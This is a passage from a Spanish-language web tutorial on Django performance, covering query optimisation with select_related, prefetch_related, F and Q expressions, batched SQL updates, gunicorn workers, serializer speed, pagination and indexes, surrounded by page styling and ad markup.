}&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Es bastante común escribir código que ocasiones múltiples consultas a la base de datos, así como búsquedas bastante costosas.&lt;/p&gt;&#xA;&lt;p&gt;Identifica que consultas se están haciendo en tu aplicación usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/jazzband/django-debug-toolbar&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;django-debug-toolbar&lt;/a&gt;&#xA; y redúcelas, o vuélvelas más eficientes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;select_related&lt;/strong&gt; para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/diferencias-entre-select-related-y-prefetch-related-en-django/&#34;&gt;evitar múltiples búsquedas en relaciones tipo llave foránea o uno a uno&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;prefetch_related&lt;/strong&gt; para prevenir búsquedas excesivas en relaciones muchos a muchos o muchos a uno&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;django_annotate&lt;/strong&gt; para agregar información a cada objecto de una consulta. Tengo una entrada donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-annotate-y-aggregate-explicados/&#34;&gt;la diferencia entre annotate y aggregate&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;django_aggregate&lt;/strong&gt; para procesar toda la información de una sola consulta en un solo dato (sumatoria, promedios).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Objeto Q&lt;/strong&gt; para unir consultas por medio de OR o AND directamente desde la base de datos&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Expresiones F&lt;/strong&gt; para realizar operaciones a nivel base de datos en lugar de en código Python&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;annotate y subqueries&lt;/strong&gt; Ten cuidado con la forma en que Django utiliza &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/arregla-querys-lentas-en-django-al-usar-annotate-y-subqueries/&#34;&gt;anotar y subconsultas y escribir CTEs o SQL en crudo&lt;/a&gt;&#xA; si es necesario.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Itera con iterator()&lt;/strong&gt; en lugar de usar Model.objects.all() cuando trabajes con millones de filas, de esta manera no cargarás todo en memoria RAM.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Usa values() o values_list()&lt;/strong&gt; para evitar campos innecesarios&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Usa .only() o .defer()&lt;/strong&gt; para excluir campos grandes de texto o binarios a menos que realmente los necesites.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Usa bulk_create() y bulk_update()&lt;/strong&gt; cuando necesites guardar/actualizar múltiples objetos para minimizar las consultas a la base de datos.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;modifica-tablas-completas-en-lotes&#34;&gt;Modifica tablas completas en lotes&lt;/h3&gt;&#xA;&lt;p&gt;Si quieres modificar todas las columnas de una tabla, no uses el método &lt;em&gt;.update()&lt;/em&gt;, en su lugar ejecuta el proceso en lotes, la huella de memoria será menor y más estable.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; connection&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;BATCH_SIZE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10000&lt;/span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;# Ajusta según tus necesidades&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;with&lt;/span&gt; connection&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;cursor() &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; c:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        c&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            UPDATE &amp;lt;tabla&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            SET &amp;lt;columna&amp;gt; = NULL&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            WHERE &amp;lt;columna&amp;gt; = 0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            AND id IN (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;                SELECT id FROM &amp;lt;tabla&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;                WHERE &amp;lt;columna&amp;gt; = 0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;                LIMIT &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;BATCH_SIZE&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;                FOR UPDATE SKIP LOCKED&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;            )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;        &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; c&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rowcount &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;break&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        connection&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;commit()  &lt;span style=&#34;color:#78787e&#34;&gt;# Confirma cada lote&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Actualizados &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{&lt;/span&gt;c&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;rowcount&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt; registros en este lote&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/images/django-debug-tool-bar-numero-queries.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/how-to-scale-a-django-app-to-serve-one-million-users/images/django-debug-tool-bar-numero-queries.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django debug tool bar mostrando las queries SQL de una petición en Django&#34; width=&#34;988&#34; height=&#34;458&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django debug tool bar mostrando las queries SQL de una petición en Django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ejemplo de uso con &lt;em&gt;select_related&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# review/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;list_reviews&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    queryset &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Review&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(product__id&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;product_id)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;select_related(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;user&amp;#39;&lt;/span&gt;) &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora no se tocará la base de datos cada que se use review.user&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;configura-gunicorn-correctamente&#34;&gt;Configura gunicorn correctamente&lt;/h2&gt;&#xA;&lt;p&gt;Gunicorn es el servidor Python WSGI HTTP más usado para aplicaciones de Django. Pero no es asíncrono, considera combinarlo con una de sus contrapartes asíncronas: hypercorn o uvicorn. Este último implementa workers de gunicorn.&lt;/p&gt;&#xA;&lt;h3 id=&#34;usa-los-workers-adecuados-en-gunicorn&#34;&gt;Usa los workers adecuados en gunicorn&lt;/h3&gt;&#xA;&lt;p&gt;Asegúrante de estar usando los workers de gunicorn correctos, de acuerdo a la cantidade núcleos de tu procesador.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Ellos recomiendan establecer los workers en (2 x número de nucleos) + 1. Según la documentación, &lt;strong&gt;con 4-12 workers puedes servir desde cientos hasta miles de peticiones por segundo&lt;/strong&gt;, por lo que debería bastar para un sitio web de escala mediana o hasta grande.&lt;/p&gt;&#xA;&lt;h2 id=&#34;mejora-el-rendimiento-de-tus-serializers&#34;&gt;Mejora el rendimiento de tus serializers&lt;/h2&gt;&#xA;&lt;p&gt;Si usas DRF y usas sus clases genéricas para crear serializers, puede que no estés obteniendo exactamente el mejor rendimiento. Las clases genéricas para serializers realizan validación de los datos, que puede ser bastante costoso en tiempo si solo vas a leer datos.&lt;/p&gt;&#xA;&lt;p&gt;Incluso si recordaste marcar tus campos como &lt;em&gt;read_only&lt;/em&gt;, los serializers de DRF no son los más rápidos, puede que quieras revisar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://serpy.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Serpy&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://marshmallow.readthedocs.io/en/stable/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Marshmallow&lt;/a&gt;&#xA;. El tema es bastante amplio, pero quédate con la idea de que hay un área de mejora importante en los serializers de Django.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo este artículo que explica &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://hakibenita.com/django-rest-framework-slow&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;como unos desarrolladores lograron reducir el coste en tiempo, de la serialización en un 99%.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-paginacion-en-tus-vistas&#34;&gt;Usa paginación en tus vistas&lt;/h2&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Probablemente suene bastante obvio, aún así siento que debo mencionarlo: no necesitas devolver toda una tabla de una base de datos si a tu usuario solo le resultan útiles los primeros registros.&lt;/p&gt;&#xA;&lt;p&gt;Usa el objeto &lt;em&gt;paginator&lt;/em&gt; que ofrece Django, o limita los resultados de una búsqueda a unos cuantos.&lt;/p&gt;&#xA;&lt;p&gt;DRF también cuenta con una opción para &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.django-rest-framework.org/api-guide/pagination/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;paginar sus resultados&lt;/a&gt;&#xA;, revísala.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# review/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.generic &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ListView&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Review&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ReviewList&lt;/span&gt;(ListView): &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Review &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    paginate_by &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    context_object_name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;review_list&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;usa-indices-en-tus-modelos&#34;&gt;Usa índices en tus modelos&lt;/h2&gt;&#xA;&lt;p&gt;Entiende tus queries más complejas e intenta crear índices para ellas. El índice hará tus búsquedas en Django más rápidas, pero también ralentizará, ligeramente, las creaciones y actualizaciones de nueva información, además de ocupar un poco más de espacio en tu base de datos. Intenta llegar a un balance sano entre velocidad y espacio de almacenamiento usado.&lt;/p&gt;&#xA;&lt;p&gt;Como regla general: Asegúrate de que cada columna usada en los métodos filter(), exclude() o order_by() esté indexada.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Review&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    created &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DateTimeField(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        auto_now_add&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        db_index&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;mejoras-en-django-admin&#34;&gt;Mejoras en Django admin:&lt;/h2&gt;&#xA;&lt;p&gt;Django realiza un &lt;em&gt;SELECT COUNT(*)&lt;/em&gt; en el admin, lo cual probablemente has notado al cargar tablas enormes. Puedes sobrescribir este comportamiento, solo establece &lt;em&gt;show_full_result_count = False&lt;/em&gt; en tu ModelAdmin para cambiar esto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;show_full_result_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;False&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usa &lt;em&gt;raw_id_fields&lt;/em&gt; en lugar de &lt;em&gt;ForeignKeys&lt;/em&gt; para evitar que el admin cargue un menú desplegable gigante.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-indices-para-tus-busquedas&#34;&gt;Usa índices para tus búsquedas&lt;/h2&gt;&#xA;&lt;p&gt;Si tu aplicación hace un uso intensivo de las búsquedas de información, considera usar un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/busquedas-con-solr-con-django-haystack/&#34;&gt;motor de búsqueda eficiente, como 